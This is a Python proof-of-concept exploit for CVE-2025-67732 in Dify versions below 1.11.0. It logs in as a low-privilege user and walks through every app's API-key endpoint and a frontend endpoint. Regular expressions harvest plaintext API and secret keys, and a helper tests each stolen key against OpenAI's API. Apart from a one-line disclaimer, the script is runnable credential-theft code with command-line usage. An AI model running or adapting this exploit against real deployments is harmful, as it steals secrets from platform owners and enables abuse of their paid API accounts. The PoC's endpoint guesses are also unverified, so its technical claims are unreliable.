# CVE-2025-67732 PoC - Dify API Key Exposure
# This PoC demonstrates how to extract plaintext API keys from Dify < 1.11.0
import requests
import json
import re
from urllib.parse import urljoin
def extract_api_keys_dify(base_url, username, password):
"""
Extract plaintext API keys from Dify platform versions < 1.11.0
Args:
base_url: Dify platform base URL (e.g., 'https://dify.example.com/')
username: Valid non-admin user account
password: Password for the account
Returns:
List of extracted API keys
"""
session = requests.Session()
api_keys = []
# Step 1: Login to get authentication token
login_url = urljoin(base_url, '/console/api/login')
login_data = {
'email': username,
'password': password
}
try:
response = session.post(login_url, json=login_data, timeout=10)
if response.status_code != 200:
print(f'[-] Login failed: {response.status_code}')
return api_keys
token = response.json().get('data', {}).get('access_token')
if not token:
print('[-] Failed to obtain access token')
return api_keys
print(f'[+] Successfully logged in as {username}')
headers = {'Authorization': f'Bearer {token}'}
# Step 2: Enumerate apps and extract API keys from app settings
apps_url = urljoin(base_url, '/console/api/apps')
apps_response = session.get(apps_url, headers=headers, timeout=10)
if apps_response.status_code != 200:
print(f'[-] Failed to fetch apps: {apps_response.status_code}')
return api_keys
apps = apps_response.json().get('data', [])
print(f'[+] Found {len(apps)} applications')
# Step 3: For each app, fetch API key configuration
for app in apps:
app_id = app.get('id')
app_name = app.get('name')
# Fetch app API settings - this endpoint exposes plaintext keys
api_settings_url = urljoin(base_url, f'/console/api/apps/{app_id}/api-keys')
settings_response = session.get(api_settings_url, headers=headers, timeout=10)
if settings_response.status_code == 200:
settings_data = settings_response.json()
# Look for plaintext API keys in the response
response_text = settings_response.text
# Check for API key patterns (sk-xxx, api-key format, etc.)
key_patterns = [
r'sk-[a-zA-Z0-9]{20,}',
r'api[_-]?key["\']?[:\s]+["\']?([a-zA-Z0-9\-_]{20,})',
r'"api_key"\s*:\s*"([^"]+)"',
r'"secret_key"\s*:\s*"([^"]+)"'
]
for pattern in key_patterns:
matches = re.findall(pattern, response_text, re.IGNORECASE)
for match in matches:
if match not in api_keys:
api_keys.append(match)
print(f'[+] Found API Key in app "{app_name}": {match[:20]}...')
# Alternative: Check frontend API response directly
# The vulnerability allows plaintext keys in frontend API calls
frontend_api_url = urljoin(base_url, '/api/front/apps')
frontend_response = session.get(frontend_api_url, headers=headers, timeout=10)
if frontend_response.status_code == 200:
for pattern in key_patterns:
matches = re.findall(pattern, frontend_response.text, re.IGNORECASE)
for match in matches:
if match not in api_keys:
api_keys.append(match)
print(f'[+] Found API Key in frontend API: {match[:20]}...')
except requests.exceptions.RequestException as e:
print(f'[-] Request error: {e}')
return api_keys
def verify_api_key(api_key, provider='openai'):
"""
Verify if the extracted API key is valid by making a minimal API call
Note: This is for authorized security testing only
"""
if provider == 'openai':
test_url = 'https://api.openai.com/v1/models'
headers = {'Authorization': f'Bearer {api_key}'}
try:
response = requests.get(test_url, headers=headers, timeout=10)
if response.status_code == 200:
print(f'[+] API Key is valid: {api_key[:20]}...')
return True
else:
print(f'[-] API Key verification failed: {response.status_code}')
return False
except requests.exceptions.RequestException as e:
print(f'[-] Verification error: {e}')
return False
return False
# Usage example
if __name__ == '__main__':
import sys
if len(sys.argv) < 4:
print('Usage: python poc.py <dify_url> <username> <password>')
print('Example: python poc.py https://dify.example.com/
[email protected] password123')
sys.exit(1)
base_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
print('=' * 60)
print('CVE-2025-67732 PoC - Dify API Key Exposure')
print('Target: ' + base_url)
print('=' * 60)
keys = extract_api_keys_dify(base_url, username, password)
if keys:
print(f'\n[+] Successfully extracted {len(keys)} API key(s)')
print('\n[!] WARNING: Unauthorized access to these keys may be illegal')
else:
print('\n[-] No API keys found or target may be patched')